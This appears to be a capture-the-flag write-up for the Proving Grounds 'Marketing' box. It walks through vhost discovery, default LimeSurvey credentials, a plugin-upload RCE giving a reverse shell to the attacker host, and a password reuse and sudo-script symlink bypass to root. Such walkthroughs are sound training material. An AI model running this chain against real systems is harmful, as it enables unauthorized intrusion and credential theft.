Marketing Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Marketing's main site hides a reference to a second virtual host running LimeSurvey 5.3.13 with default credentials, exploited through a public authenticated plugin-upload RCE for a www-data shell. A database password left in LimeSurvey's config is reused for a low-privileged user, whose narrow sudo rule can be abused through a symlink to leak a second user's credentials, who in turn has full sudo rights.
Reconnaissance
Nmap
Scan the target for open services.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http Apache httpd 2.4.41 (Ubuntu) |_http-title: marketing.pg - Digital Marketing for you!
Add the hostname from the page title to /etc/hosts and fuzz the vhost for content.
assets [Status: 301] old [Status: 301] vendor [Status: 301]
Explain command
| -w | Wordlist to fuzz paths with. |
/old serves an earlier copy of the homepage. Its source reveals a second vhost referenced in a survey link.
<a href="//customers-survey.marketing.pg">here</a>
Add customers-survey.marketing.pg to /etc/hosts as well. It serves a LimeSurvey installation.
Enumeration
The LimeSurvey login accepts the default credentials admin:password, and the footer reports version 5.3.13, which has a known authenticated plugin-upload RCE.
Exploitation
LimeSurvey authenticated plugin RCE
Clone the public exploit and point it at the survey vhost with the default credentials and a listener port.
listening on [any] $ATTACKER_PORT ...
The exploit uploads a plugin containing a webshell, then triggers it for a reverse shell as www-data.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
Config password reuse
Transfer and run linpeas to search for low-hanging fruit.
Searching passwords in config PHP files 'password' => '$LIMESURVEY_DB_PASSWORD'
The LimeSurvey config leaks a database password that turns out to be reused as the login for the system user t.miller.
Password: t.miller@marketing:~$ id uid=1000(t.miller) gid=1000(t.miller)
Restricted sudo rule abused via symlink
Check what t.miller can run with sudo.
User t.miller may run the following commands on marketing:
(m.sander) /usr/bin/sync.sh
The script diffs a supplied file against m.sander's notes file and copies it over on a change, but blocks any path containing m.sander.
#!/bin/bash
if [ -z $1 ]; then
echo "error: note missing"
exit
fi
note=$1
if [[ "$note" =~ .*m.sander.* ]]; then
echo "error: forbidden"
exit
fi
difference=$(diff /home/m.sander/personal/notes.txt $note)
if [[ -z $difference ]]; then
echo "no update"
exit
fi
echo "Difference: $difference"
cp $note /home/m.sander/personal/notes.txt
The path filter is a naive regex, easy to bypass with a symlink whose own name doesn't contain the string. t.miller is in the mlocate group, which can read /var/lib/mlocate/mlocate.db to find filenames in m.sander's otherwise unlistable home directory.
/home/m.sander/personal creds-for-2022.txt notes.txt
Symlink to the discovered credentials file under a harmless name, then run the sudo script against the symlink. The diff output leaks the file's contents.
Difference: 0a1,8 > github: > m.sander - $MSANDER_PASSWORD [+] Updated.
The leaked credentials log in as m.sander, who is in the sudo group.
Password: m.sander@marketing:~$ sudo -s # id uid=0(root) gid=0(root) groups=0(root)